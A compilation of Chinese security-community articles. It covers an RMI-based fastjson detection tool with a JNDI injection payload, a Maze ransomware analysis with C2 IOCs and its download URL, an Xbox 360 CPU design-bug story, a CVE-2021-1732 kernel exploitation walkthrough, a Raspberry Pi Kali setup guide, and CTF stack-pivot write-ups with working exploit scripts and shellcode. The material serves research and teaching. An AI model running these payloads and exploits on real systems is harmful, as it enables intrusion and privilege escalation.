0x65, 0x6e, 0x63, 0x65, 0x57, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x5f, 0x53, 0x74, 0x75, 0x62, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x02, 0x00, 0x00, 0x70, 0x78, 0x72, 0x00, 0x1a, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x72,
0x6d, 0x69, 0x2e, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x53, 0x74, 0x75,
0x62, 0xe9, 0xfe, 0xdc, 0xc9, 0x8b, 0xe1, 0x65, 0x1a, 0x02, 0x00, 0x00, 0x70, 0x78, 0x72, 0x00, 0x1c, 0x6a, 0x61,
0x76, 0x61, 0x2e, 0x72, 0x6d, 0x69, 0x2e, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x74,
0x65, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0xd3, 0x61, 0xb4, 0x91, 0x0c, 0x61, 0x33, 0x1e, 0x03, 0x00, 0x00, 0x70,
0x78, 0x70, 0x77, 0x36, 0x00, 0x0a, 0x55, 0x6e, 0x69, 0x63, 0x61, 0x73, 0x74, 0x52, 0x65, 0x66, 0x00, 0x0d, 0x31,
0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x32, 0x32, 0x32, 0x2e, 0x31, 0x00, 0x00, 0xf3, 0xbd, 0x23, 0x92, 0xb3,
0xd9, 0xf7, 0xa3, 0x45, 0x9c, 0xc6, 0xee, 0x4f, 0x24, 0x00, 0x00, 0x01, 0x7b, 0x11, 0x5d, 0xc6, 0xff, 0x80, 0x01,
0x01, 0x78,
}
_, _ = (*conn).Write(payload)
data = make([]byte, 1024)
_, _ = (*conn).Read(data)
if data[0] == 0x52 {
lastData := data[1:]
for _, v := range lastData {
if v != 0x00 {
return
}
}
doFinal(conn)
}
}
最后两步的Ping和Ack，DgcAck无法确认后续内容，只对第一位进行校验
func doFinal(conn *net.Conn) {
_, _ = (*conn).Write([]byte{0x53})
data := make([]byte, 1024)
_, _ = (*conn).Read(data)
if data[0] == 0x54 {
fmt.Println("final")
}
}
最终触发Payload
public static void main(String[] argv) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:8888/Exploit\", " +
"\"autoCommit\":true}";
JSON.parse(payload);
}
效果如图，成功用golang实现RMI协议的解析，代码有很多不完善，但是提供了一种思路，也许各大厂商可以将该思路加入自己的fastjson扫描组件中
## 参考链接
<https://koalr.me/post/fastjson-deserialization-detection/>
<https://docs.oracle.com/javase/9/docs/specs/rmi/protocol.html#overview> | 社区文章 |
# 警惕RSA SecurID标题的诱饵文档传播Maze勒索病毒
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：<https://mp.weixin.qq.com/s/E1bqAS8bb6apctul0CvZ0Q>
译文仅供参考，具体内容表达以及含义原文为准。
Maze勒索病毒，又称Chacha勒索病毒，是今年5月份由Malwarebytes安全研究员首次发现，此勒索病毒主要使用各种漏洞利用工具包Fallout、Spelevo，伪装成合法加密货币交换应用程序的假冒站点或挂马网站等方式进行分发传播，近日笔者监控到一例通过标题为RSA
SecurID的诱饵文档传播此勒索病毒的最新样本
捕获到的诱饵文档是一个以RSA SecurID为标题的文档，内容如下所示：
文档里面包含恶意宏代码，诱导受害者双击启动宏代码，恶意宏代码，如下所示：
动态调试恶意宏代码，如下所示：
读取窗体中的数据，然后进行解析，窗体的数据，如下所示：
宏代码解密窗体中的数据，然后从远程服务器hxxp://149.56.245.196/wordupd.tmp
下载恶意程序到C:WindowsTempered.tmp,然后执行恶意程序，如下所示：
下载的ered.tmp就是Maze勒索病毒，外壳程序如下所示：
分配相应的内存空间，然后解密出勒索病毒的核心代码，如下所示：
再跳转执行勒索病毒核心代码，如下所示：
此勒索病毒加密后的文件后缀名为随机文件名，如下所示：
勒索提示信息文件DECRYPT-FILES.txt，内容如下所示：
加密文件之后会修改桌面背景图片，如下所示：
该勒索病毒解密网站，如下所示：
上传勒索提示信息文件之后，如下所示：
勒索赎金为:0.13967635
BTC，相当于1200美元，过期翻倍，我去！现在搞勒索都这么黑的，上次还是400美元，这次直接1200美元了，黑客的BTC钱包地址：
334yPgzDkqD7vvh2GKMrFSQneWVp2onvUq
文档内容上显示的时间为2019年11月12日，估计是12号制作的诱饵文档,最近一段时间一些流行的勒索病毒家族主要使用漏洞和垃圾邮件两种方式进行传播感染，各企业一定要做好相应的防范措施，大部分流行的勒索病毒暂无公开的解密工具，此勒索病毒之前主要使用漏洞利用工具包，通过假虚网站或垃圾网站挂马的方式进行传播，此次又增加了垃圾邮件文档的方式进行传播，可见勒索病毒黑客团伙不断在更新增加自己的攻击传播方式，以获取最大的利益，未来会不会也会利用无文件的方式传播此勒索病毒呢？
IOC
MD5
a2d631fcb08a6c840c23a8f46f6892dd
a0c5b4adbcd9eb6de9d32537b16c423b
C&C
149.56.245.196
91.218.114.4
91.218.114.25
91.218.114.11
91.218.114.26
91.218.114.31
URL
hxxp://149.56.245.196/wordupd.tmp
hxxp://91.218.114.4/messages/content/appvsgp.html?kakp=2mj&rkjn=koimf
hxxp://91.218.114.11/forum/hhiwoqn.action
hxxp://91.218.114.4/messages/jwt.asp?rgct=dp&gf=m1h&igtu=617lg1ps42&q=0q7r0l6v
hxxp://91.218.114.25/view/check/fvksl.html?dab=a6tud3
hxxp://91.218.114.26/archive/pj.jspx?wi=h1265&hi=e
hxxp://91.218.114.31/support/mkhbm.action?vshw=m627m
hxxp://91.218.114.11/ticket/nsa.jsp?efd=g0xay3bx&mtu=1
hxxp://91.218.114.25/pipkl.cgi?ampf=8613eu&cnp=wc6502gj16&q=5m&ycme=35s4b
hxxp://91.218.114.31/check/s.phtml?uxkv=wjebu46&wmbk=12vc05ja7m
hxxp://91.218.114.26/support/uuxyhvhu.do?ic=wjpr4uy&lpap=2&edem=62i22cgi41&p=dj6
本文转自：[安全分析与研究](https://mp.weixin.qq.com/s/E1bqAS8bb6apctul0CvZ0Q) | 社区文章 |
# Meltdown启示录：深入分析Xbox 360中的CPU设计漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 Bruce Dawson，文章来源：wordpress.com
原文地址：<https://randomascii.wordpress.com/2018/01/07/finding-a-cpu-design-bug-in-the-xbox-360/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近期爆出的Meltdown和Spectre漏洞，让我突然想起曾在Xbox
360的CPU中发现的一个设计漏洞。造成该漏洞的原因是一个新增加的指令，而这个指令的存在产生了潜在的风险。
## Xbox 360的CPU结构
早在2005年，我就开始对Xbox
360的CPU进行研究。当时，我夜以继日地对那个小小的芯片进行分析，时至今日我的墙上还嵌着一个30厘米的CPU晶圆（Wafer），并且挂着一个长1.2米的CPU设计图纸。我用了大量时间来弄清楚CPU流水线（CPU
Pipeline）的工作原理，在我遇到一些看似不可能出现的崩溃情况时，我能敏锐地判断出其根本原因在于设计上的缺陷。首先，我们先来共同了解一下相关的背景知识。
Xbox 360的CPU是由IBM制造的三核PowerPC（Performance Optimization With Enhanced RISC –
Performance Computing，也可以简称为PPC）架构的芯片。其中的3个核分别位于3个独立的模块之中，第四个模块中包含1MB的二级缓存（L2
Cache）。如下图所示，我们可以直观地看到CPU不同的组件。其中，每个内核都有一个32KB的指令缓存（Instruction
Cache）和一个32KB的数据缓存（Data Cache）。
Xbox
360的CPU对所有内容都有非常高的延迟，其中内存的延迟尤为严重。并且，其拥有的二级缓存大小仅为1MB，这对于三核CPU来说非常小。因此，就需要尽量节约二级缓存空间，以尽可能地减少缓存未命中（Cache
Misses）现象的发生，这一点非常重要。
## 空间和时间的局部性
由于空间和时间的局部性，促使CPU缓存不得不努力提升其性能。其中的空间局部性（Spatial
Locality）是指，如果你使用了某位置的一个字节，那就意味着你可能很快就使用掉其附近的数据字节。其中的时间局部性（Temporal
Locality）是指，被使用过一次的内存位置，很可能在未来会被多次使用。
然而在实际中，时间局部性并不会经常发生。如果我们每次都处理大量的数据，便可以证明时间局部性的概念，这些数据将全部从二级缓存中消失，直至下一次再需要使用它们的时候。事实上，我们仍然希望能够在一级缓存中使用这些数据，在这里，就体现出来了时间局部性的优势。但与此同时，二级缓存占用了稀缺的空间，也就意味着其他数据会被覆盖，从而有可能会减慢其他两个内核的运行速度。
## 内存一致性机制
通常情况下，这种场景是不可避免的。在PowerPC中，CPU的内存一致性机制（Memory Coherency
Mechanism）要求一级缓存中的所有数据也要存储在二级缓存之中。用于确保内存一致性的MESI协议（Modified Exclusive Shared
Or
Invalid，也称伊利诺斯协议，是一种广泛使用的支持写回策略的缓存一致性协议，参考[https://en.wikipedia.org/wiki/MESI_protocol）](https://en.wikipedia.org/wiki/MESI_protocol%EF%BC%89)
要求：当一个内核写入缓存行（Cache
Line，CPU的最小缓存单位）时，任何其他具有相同缓存行副本的内核都需要将其丢弃，并且二级缓存负责跟踪一级缓存所缓存的地址。
然而大家不要忘记，我们的CPU是要用在游戏机上的，而游戏机对性能的要求非常高，几乎超过了其他所有的设备。因此，一个新的指令应运而生——那便是xdcbt。
## xdcbt指令
在普通型号的PowerPC中，dcbt指令是一个典型的预取指令（Prefetch
Instruction）。而这里的xdcbt指令则是一个扩展的预取指令，可以直接将指定地址的内存中预取到一级数据缓存中，跳过了二级数据缓存。这就意味着，在这里将不会再保证内存一致性。因此，游戏开发者们应该充分理解这个概念并在编程过程中特别注意，然而实际上，一些开发者并没有重视这一指令所产生的问题。
## 内存复制例程的问题与修复过程
针对这一问题，我曾写过一个Xbox
360通用的内存复制例程，会利用到xdcbt指令。对原始数据进行预取，能够极大地提升性能。通常来说，预取操作会使用dcbt指令，但当其传入PREFETCH_EX标志后，便会开始使用xdcbt。在这一点上，我并没有太过深思熟虑。
随后，一些使用该函数的开发工程师向我反馈说，他们编写的游戏会发生莫名其妙的堆损坏崩溃（Heap Corruption
Crashes）。然而经过分析，内存转储中的堆结构看起来却是正常的。在经过一段时间的仔细研究之后，我意识到我犯了一个错误。
这一崩溃的原因在于，用xdcbt指令预取的内存是有问题的。如果该内存是由另一个内核写入，然后又被一级缓存刷新，那么两个内核将具有两种不同的内存视图，并且我们无法保证这两种视图会相互同步。Xbox
360的缓存行大小为128字节，而我的复制例程会直接预取到原始内存的结尾，这也就意味着xdcbt会被应用在一些缓存行之中，而它们是相邻数据结构中的一部分。通常，这些位置是堆的元数据（Heap
Metadata），我们也可以从崩溃产生的错误信息中推断出来。尽管我们已经谨慎使用了内存的锁定，但由于某个内核使用了未更新的数据，所以导致了崩溃。然而，在内存报错（Crash
Dump）文件中所写入的却是随机存取存储器（RAM）的真实数据，所以我们之前看到的堆结构是正常的。
因此，我们必须要注意，在使用xdcbt指令的时候，不要堆超过缓冲区末尾的字节进行预取操作。为修复这一问题，我修改了我的内存复制例程，以避免预取的内容过多。但就在我修改例程的同时，开发者们也对其游戏进行了改动，他们不再传递PREFETCH_EX这一标志，最终也成功解决了这个问题。
## 再一次出现的崩溃
到目前为止，一切似乎重回了正轨。游戏开发者们在开发的过程中，出现过各种严重的问题（
<https://literarydevices.net/hubris/> ），然而我们都逐一攻破，成功解决，并且愉快地准备将这些游戏正式公开发行。
然而好景不长，这些游戏很快又再次出现了崩溃的情况。尽管现在的这些游戏中，已经不再使用xdcbt指令，但出现的崩溃却与之前一模一样。
我非常疑惑，并且预感到我们正面对一个严重的问题，开始逐行分析所有的代码。
我使用的是传统的调试方法，并且不断思考着CPU流水线的工作原理，终于在某一天灵光一闪，意识到了问题的所在。
于是，我给IBM发送了一封邮件，并很快得到了答复。在答复中，证实了我对于CPU内部构造问题的怀疑，而这一问题也是产生Meltdown和Spectre漏洞的罪魁祸首。
## CPU流水线与分支预测器
Xbox 360的CPU，是顺序执行的CPU（in-order
CPU）。其原理非常简单，就是依靠它的高频率来执行。然而，由于其流水线较长，因此该CPU具有一个分支预测器（Branch
Predictor）。下图是CPU流水线的示意图，其中展现了所有的流水线：
由于受到英特尔NDA保密协议的限制，我无法披露更精确的示意图，但大家可以参考下图所展示的结构：
我们在图中可以看到分支预测器，并且可以看到其流水线非常长。因此，针对错误预测的指令，其加速的时间就非常长，即使顺序执行也是如此。
所以，分支预测器将会不断对程序的分支流程进行预测，其预测的指令将会被提取、解码和执行，这一过程将持续进行，直至已知的预测是正确的。以我对这一过程的理解，它会先进行预测，然后根据预测的结果执行预取操作。由于延迟的时间很长，所以尽快向总线发送预取指令是非常重要的。并且，一旦执行了预取操作，就无法再取消。因此，一个预测后再执行（Speculatively-Executed）的xdcbt指令和一个真正的xdcbt指令是一样的。然而我们知道，一个预测后再执行的加载指令，本质上还是一个预取指令。
这就是问题的所在。分支预测器有时会导致xdcbt指令在预测后被执行，这实际上和此前直接执行该指令在本质上是一样的。在我的同事Tracy的建议下，我们有一个非常巧妙的方法可以验证这一点——我们用断点来替换游戏中的每一个xdcbt指令。这样，可以实现两件事情：
1、假如运行过程中没有中断，那就能证明游戏没有执行xdcbt指令；
2、就算执行了xdcbt指令，也不会真正地发生崩溃。
我知道，最后的结果让人非常惊讶。然而经过了这么多年，时至今日，在阅读了关于Meltdown漏洞的文章之后，我们仍然发现没有被执行的指令能够导致崩溃，这个漏洞还是很酷的。
## 总结
分支预测器的实现过程清楚地说明，这个指令非常危险，因为我们很难去控制能够预测后执行指令的位置。间接分支的分支预测器理论上可以预测任何地址，所以并没有一个“安全位置”可以用来放置xdcbt指令。我们只能通过各种手段来降低风险，但依然不能消除风险。
在针对Xbox 360结构的讨论中，我们提到了这一指令，我非常怀疑所有使用该指令的游戏都可能受到了这一问题的影响。
我曾在一次面试中曾经问过别人这样的问题：“你在研究过程中遇到的最棘手的问题是什么？”而面试者回答的是“我们之前在Alpha处理器上，曾经遇到过……”
现在看来，恐怕如果今后还有面试者，他们的回答应该会不一样了。
最后，感谢Michael对本文提供的帮助，相关文章请参考：<http://michaelbrundage.com/project/xbox-360-emulator/>
。 | 社区文章 |
**作者：曹 磊（@iamelli0t）/ 深信服南研安全研究团队
原文链接：<https://mp.weixin.qq.com/s/sFWUK4HwctLRgnLEIvUBuw>**
CVE-2021-1732是今年二月份被披露的蔓灵花（BITTER）APT组织在某次攻击行动中使用的0Day漏洞【1】【2】【3】。该漏洞利用Windows操作系统win32k内核模块一处用户态回调机会，破坏函数正常执行流程，造成窗口对象扩展数据的属性设置错误，最终导致内核空间的内存越界读写。当受影响版本的Windows操作系统用户执行攻击者构造的利用样本时，将会触发该漏洞，造成本地权限提升【4】。
### 1\. 漏洞原理分析
CVE-2021-1732漏洞形成的根本原因是：
Windows窗口创建（CreateWindowEx）过程中，当遇到窗口对象tagWND有扩展数据时（tagWND.cbwndExtra !=
0），会通过nt!KeUserModeCallback回调机制调用用户态ntdll!_PEB.kernelCallbackTable（offset+0x58）里的函数：user32!_xxxClientAllocWindowClassExtraBytes，从而在用户态通过系统堆分配器申请（RtlAllocateHeap）扩展数据的内存。通过在用户态hook
user32!_xxxClientAllocWindowClassExtraBytes函数，并在hook函数中手动修改窗口对象扩展数据的属性，可以破坏内核态为窗口对象扩展数据申请内存的原子操作，最终实现基于窗口对象扩展数据内存的越界读写能力。
Windows窗口创建（CreateWindowEx）过程的正常流程如下图（部分）：
通过上图可以知道：当窗口的扩展数据大小tagWND.cbWndExtra不为0时，win32kfull!xxxCreateWindowEx
内部通过内核回调机制调用用户态user32!_xxxClientAllocWindowClassExtraBytes函数，在用户空间申请窗口对象扩展数据所需内存，最终将指针返回给窗口对象的tagWND.pExtraBytes属性：
内核窗口对象tagWND的扩展数据有两种保存方式：
1）保存于用户态系统堆：即上图所示的正常流程，用户态系统堆申请的扩展数据内存指针直接保存于tagWND.pExtraBytes。
基于用户态系统堆模式的一个tagWND内存布局如下图所示：
2）保存于内核态桌面堆：函数NtUserConsoleControl调用会通过DesktopAlloc在内核态桌面堆分配内存，计算分配的扩展数据内存地址到桌面堆起始地址的偏移，保存在tagWND.pExtraBytes中，并修改tagWND.extraFlag
|= 0x800：
基于内核态桌面堆偏移模式的一个tagWND内存布局如下图所示：
因此可以通过hook回调`user32!_xxxClientAllocWindowClassExtraBytes`，在回调期间手动调用NtUserConsoleControl修改tagWND的扩展数据保存方式。然后在回调返回前手动调用ntdll!NtCallbackReturn：
通过ntdll!NtCallbackReturn返回用户态可控offset值至tagWND.pExtraBytes，最终实现基于内核态桌面堆起始地址的可控offset越界读写能力。
修改后可以触发漏洞的流程如下：
根据上面修改的流程图，漏洞触发的关键步骤如下：
1）修改PEB.kernelCallbackTable中user32!_xxxClientAllocWindowClassExtraBytes函数指针为自定义hook函数。
2）创建一些普通窗口对象，通过user32!HMValidateHandle泄漏这些tagWND内核对象在用户态映射的内存地址。
3）释放2）中创建的部分普通窗口对象，再次创建指定tagWND.cbwndExtra大小的窗口对象hwndMagic。此时该窗口对象有一定几率使用之前释放的窗口对象内存。因此在自定义hook函数中搜索之前泄漏的窗口对象用户态映射内存地址，通过比较tagWND.cbwndExtra，就可以在CreateWindowEx返回前找到hwndMagic。
4）hook函数中调用NtUserConsoleControl修改hwndMagic的extraFlag |= 0x800。
5）hook函数中调用NtCallbackReturn将伪造offset赋值给hwndMagic的pExtraBytes。
6）调用SetWindowLong，向内核态桌面堆起始地址+指定offset越界写入数据。
hook函数一种实现如下：
BSOD现场堆栈情况：
### 2\. 漏洞利用分析
由漏洞原理分析部分知道：
通过该漏洞，可以获得”一次修改基于内核态桌面堆起始地址+指定offset地址数据的机会“。对于内核态的漏洞，攻击目标一般是获得system权限，一种常用方法为：
1）利用漏洞获得内核态任意地址读写权限
2）泄漏内核对象地址，通过EPROCESS链查找system进程
3）拷贝system进程token至本进程，完成提权工作
这里的难点为1）：即如何利用”一次修改基于内核态桌面堆起始地址+指定offset地址数据的机会“，实现内核态任意地址读写。一种利用思路如图所示：
1）首先利用漏洞，tagWNDMagic的附加数据（wndMagic_extra_bytes）的offset可控，可以通过SetWindowLong实现从桌面堆基址+可控offset的指定地址数据修改。
2）利用漏洞能力修改tagWNDMagic.pExtraBytes为tagWND0对象的offset (tagWND0的offset
由tagWND0+0x8获得)，调用SetWindowLong修改tagWND0.cbWndExtra =
0x0fffffff，从而获得一个可越界读写的tagWND0.pExtraBytes。
3）计算tagWND0.pExtraBytes到tagWND1的offset，利用2）中获得的可越界读写的tagWND0.pExtraBytes，调用SetWindowLongPtr修改tagWND1的spMenu指向伪造的spMenu，从而借助伪造的spMenu和GetMenuBarInfo实现任意地址读能力。
GetMenuBarInfo读取指定地址数据的逻辑如下，读取的16字节数据被保存在MENUBARINFO.rcBar结构体中：
4）利用3）中获得的可越界读写的tagWND0.pExtraBytes，修改tagWND1.pExtraBytes到指定地址，借助tagWND1的SetWindowLongPtr，获得任意地址写入能力。
5）获得任意地址读写权限后，需要泄漏一个桌面堆上的内核对象地址来定位EPROCESS，这里步骤3）中为tagWND1设置伪造spMenu时SetWindowLongPtr返回值就是原spMenu的内核地址，可以直接利用。最后通过遍历EPROCESS链查找system进程，并拷贝system进程token至本进程完成提权，此类方法比较常见，不再详述。
最终完整的提权演示：
### 3\. 参考文献
[1] <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732>
[2] <https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack-cn/>
[3]
<https://www.virustotal.com/gui/file/914b6125f6e39168805fdf57be61cf20dd11acd708d7db7fa37ff75bf1abfc29/detection>
[4] <https://en.wikipedia.org/wiki/Privilege_escalation>
### 4\. 团队简介
深信服南研安全研究团队专注于高级威胁攻击，在野漏洞利用追踪、研究、检测，攻防对抗等方向的研究工作。团队成员曾在Windows，MacOS/iOS，Linux/Android等主流操作系统中发现了上百个安全漏洞，在BlackHat
USA、BlackHat Europe、BlackHat Asia、HITB、Microsoft BlueHat、CodeBlue、HITCON、Virus
Bulletin、Pacsec、看雪SDC、Freebuf CIS等国内外知名安全会议上发表过演讲和论文。
如果你对以下技术内容感兴趣，希望和高手切磋共事，赶紧发简历过来吧（邮箱[email protected] 工作地点：南京）：
[APT攻击溯源] 恶意代码分析，威胁情报研究，APT溯源分析
[检测引擎研发] EDR、XDR等检测引擎研发
[攻防对抗技术] 红蓝对抗，ATT&CK技术研究，检测规则编写
[漏洞挖掘与利用] 在野漏洞利用研究，漏洞挖掘
[云原生安全] 云原生安全技术研究和产品研发
[MacOS安全] macOS安全产品核心模块开发，macOS沙箱、EDP、EDR、DLP等安全产品开发
[大数据安全] 研发基于大数据技术的下一代安全产品
* * * | 社区文章 |
# 怎样用树莓派和Kali Linux构建便携式黑客工作站
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.lifehacker.co.uk/2015/10/30/build-portable-hacking-station-raspberry-pi-kali-linux>
译文仅供参考，具体内容表达以及含义原文为准。
**0x01工欲善其事,必先利其器**
1\. 树莓派(B+或2)
2\. 5V充电宝一枚
3\. WIFI模块
4\. 8g SD卡
5\. PiTFT触屏
6\. 键盘
7\. 保护壳
8\. 桌面电脑(平台初始化安装工作)
**
**
**0x02 在树莓派上安装kali**
**1\. 详细安装流程:**
http://lifehacker.com/5976912/a-beginners-guide-to-diying-with-the-raspberry-pi#_ga=1.265570311.968941705.1436971740
**
**
**2\. 怎样用windows安装kali到你的SD卡(简略版)**
a) 下载Kali Linux Raspberry TFT image并解压获得里面的.img文件。
注意:加入你没有触屏,请下载regular版本。
b) 下载Win32DiskImager并解压获得安装文件
c) 用读卡器插你的SD卡进PC
d) 打开Win32DiskImager.exe(win7和win8等请用管理员权限打开)
e) 加入SD卡没有被识别,可以点击菜单栏中的Device选项选择SD卡
f) 在工具的镜像文件选择区,选择你下载的.img镜像
g) 点击write按钮,写入镜像
**
**
**3\. 在OS X系统上安装kali进SD卡**
a) 下载Pi TFT镜像并解压获得.img文件,同理如果没有屏幕请下载regular镜像
b) 下载RPi-sd card builder并解压
c) 插SD卡到你的Mac
d) 打开RPi-SD并加载.img镜像
e) 检测SD卡是否被加载,输入管理员密码(加载SD卡得时候有弹框需要输入)
f) 双击挂在盘,弹出盘,别直接拔掉
g) 然后插入到树莓派
**
**
**4\. 安装显示屏**
显示屏安装特别方便,由于树莓派有GPIO(通用输入输出)针脚,直接插上就好。
**
**
**5\. 插上wifi、键盘并通电**
固定好显示器以后,我们接上其他的几个硬件(wifi、键盘、充电宝)。由于树莓派提供了4个usb接口,因此插上wifi和键盘完全没有问题。
然后就等待启动,树莓派期待有点慢,耐心等待,成功启动会停留在一个登陆界面。
**
**
**6\. 开启wifi**
现在我们登陆系统,开启wifi,这样就能很好的使用kali里面的工具了,kali将自动识别wifi模块,然后你连接你自己的wifi热点。首先,我们需要在kali上确认几件事:
a) 你的用户和密码是root和toor
b) 你可以使用键盘和显示屏操控你的树莓派了,并打开一个命令行
c) 然后设置wifi,用nano工具打开/etc/network/interfaces
d) 增加如下文本:
auto wlan0 iface wlan0 inet dhcp wpa-ssid “your network name” wpa-psk “the
network password”
编辑完成使用Ctrl+X保存,现在你的wifi应该可以正常工作了(如果不能工作你可以重启一下)
**
**
**7\. 改变密码**
在你使用它之前请确保你是修改了密码(虽然很少有人有同样的hack能力,但如果遇到了,被搞了就不好了)。
a) 在命令行下输入passwd,并按enter键
b) 输入新密码并确认
c) 输入dpkg-reconfigure openssh-server并按Enter
现在你的小型便携式系统设置加固完成
**
**
**8\. 你能用这个设备干什么**
至此你的小型便携式黑客工作站就设置完成了,你可以使用它安装你想要的程序,如果你不知道怎么使用它,下面有一些好的使用案例:
[](https://www.raspberrypi.org/documentation/remote-access/ssh/)
[**用ssh连接树莓派**](https://www.raspberrypi.org/documentation/remote-access/ssh/)
****[**学习基础命令行**](http://lifehacker.com/5633909/who-needs-a-mouse-learn-to-use-the-command-line-for-almost-anything)
**[ 破解wifi密码,常见钓鱼热点,和流量劫持](http://www.lifehacker.co.uk/2014/10/25/hack-network-beef-security-kali-linux)**
****[**监视网络中得流量**](http://www.lifehacker.co.uk/2014/10/25/tap-network-see-everything-happens)
****[**更多的kali指导**](http://www.kalitutorials.net/2013/08/kali-linux.html)
“The world is your oyster. Hack responsibly, everyone.” | 社区文章 |
* * *
## title: 花式栈溢出（栈帧的调节）
# 花式栈溢出（栈帧的调节）
## 前言
本人刚学pwn不久，最近在学习过程中学到了各种需要栈帧调节的题目，以此记录一下。
在一些栈溢出的程序中，我们会碰到一些问题，例如溢出的可控字节数太少，无法构造我们想要的rop链，程序ASLR开启后导致的栈地址不可预测等。对于这种问题，常用的思路包括：
* 加减esp值，控制栈指针
* Stack Migration来构造一个假的栈帧。
这里总结了2种题型：
## 加减esp，把控栈指针
这种题型就需要用Ropgadget找一个控制esp的gadget，然后简单修改esp值的大小，来满足我们的需求。
### Alictf_016_vss
这个题目就是一个修改esp扩大栈空间，从而构造rop链获取shell的题目。
#### 检查保护和arch
#### ida分析
由于这个程序使用静态编译和strip命令剥离符号，用ida打开没有我们平时看的那么简单，
很多函数已经无法识别，我们就需要自己调试，然后推测是什么函数。
start函数中，call的函数是__libc_start_main, 上一行的 offset则是main函数
那个箭头就是main函数了。进入main函数以后， **可以经过syscall中rax的参数来确认其是什么函数**
，很明显一个函数是alarm函数，先手动nop一下。
把这个函数去除后，方便gdb的后期调试。接着可以很容易确定一下puts函数跟read函数，在ida中修改一下。
下面那个40108e函数是比较复杂的，我用edb动态调试来确定出其中的某些函数：
对于这个函数，先确定一下其参数。
dump过去就会发现是复制了一份。所以就确定这个函数是`strncpy`是函数。
对于这个函数`char *strncpy(char *dest, const char *src, int n)`
**将src指向的字符数组中n个字符复制到dest指向的字符数组中，在第一个空字符处停止，并返回被复制后的dest** 。
对于下一段就是判断一下，是否与0x79和0x70相等，可以来手动修改值让其相等。
往后走会发现先溢出了，在做溢出题的时候看到return 就应该想办法想上跳。
溢出的这个地址就是刚刚又syrcpy函数复制过来0x50字节中的最后8个字节，因为是strncpy函数， **我们输入的字符串中是不能有\x00**
，否则会被截断，从而无法复制满0x50字节制造可控溢出，所以前0x48个字节中，我们不能写入任何地址。在这种情况下就需要通过修改esp来完成漏洞利用。
在最前面的read函数中，给了十分大的缓冲区可以用，我们可以把ROP链放在0x50字节之后，然后通过增加esp的值把栈顶抬到ROP链上，紧接着执行这个rop链即可。
查到one_gadget发现`0x000000000046f205 : add rsp, 0x58 ;
ret`正好符合要求。然后gdb调试一下确定一下rop链从50个字节后的那里开始合适即可。
**（这个在找onegadget的时候注意不要把rsp搞成esp了，自己在做的时候因为这个调试了半天，才发现是这个错误，导致exp不成功）**
#### exp
from pwn import *
import time
io = process('./vss')
e = ELF('./vss')
io.recvuntil('Password:\n')
add_rsp_0x58_ret = 0x0046f205
pop_rax_ret = 0x0046f208
pop_rdi_ret = 0x0401823
pop_rsi_ret = 0x0401937
pop_rdx_ret = 0x043ae05
bss = 0x6C8178 -10
syscall_ret = 0x0045f2a5
rop1 = [
pop_rax_ret,
0,
pop_rdi_ret,
0,
pop_rsi_ret,
bss,
pop_rdx_ret,
10,
syscall_ret,
pop_rax_ret,
0x3b,
pop_rdi_ret,
bss,
pop_rsi_ret,
0,
pop_rdx_ret,
0,
syscall_ret
]
# raw_input('->')
io.sendline('py' + 'a'*70 + p64(add_rsp_0x58_ret)+ 'b'* 8 + ''.join(map(p64,rop1)))
# raw_input('->')
sleep(0.1)
io.send('/bin/sh\x00')
io.interactive()
### X-CTF Quals 2016-b0verfl0w
#### 查保护和arch
这个nx也没有开，可以用栈执行shellcode
#### ida分析
signed int vul()
{
char s; // [esp+18h] [ebp-20h]
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}
代码很简单，但是可以发现可以溢出的字节只有50-0x20-4=14个字节可控，所以是很难写出rop链来获取咱们目的的。然后就可以考虑控制栈指针的攻击思路，就是先把shellcode摆在栈上，然后控制eip到达这里就可以了。但是由于程序本身会开启
ASLR 保护，所以我们很难直接知道 shellcode 的地址。但是栈上相对偏移是固定的，所以我们可以利用栈溢出对 esp 进行操作，使其指向
shellcode 处，并且直接控制程序跳转至 esp 处。
找一下控制esp的gadget
0x08048504 : jmp esp
然后怎么控制eip到shellcode上呢，因为没有nx保护，我们可以写一段指令来控制偏移：
sub esp,0x28
jmp esp
#### exp
from pwn import *
#io = process('./b0verfl0w')
context.arch = 'i386'
io = remote('node3.buuoj.cn',29410)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode + (36-len(shellcode_x86))*'b'+p32(jmp_esp) + sub_esp_jmp
io.readuntil('?\n')
#raw_input('->')
io.sendline(payload)
io.interactive()
## Stack Migration
在 Stack Migration 中，我们所利用的技巧便是同时控制 EBP 与 EIP，这样我们在控制程序执行流的同时，也改变程序栈帧的位置。
### 原理
我们知道在函数建立栈帧时有两条指令`push ebp; mov ebp, esp`，而退出时同样需要消除这两条指令的影响，即`leave(mov esp,
ebp; pop ebp)` 。且leave一般紧跟着就是ret。
**因此，在存在栈溢出的程序中，只要我们能控制到栈中的ebp，我们就可以通过两次leave劫持栈。**
第一次随着程序流`leave; ret`，new esp为我们构造新栈的目标地址。
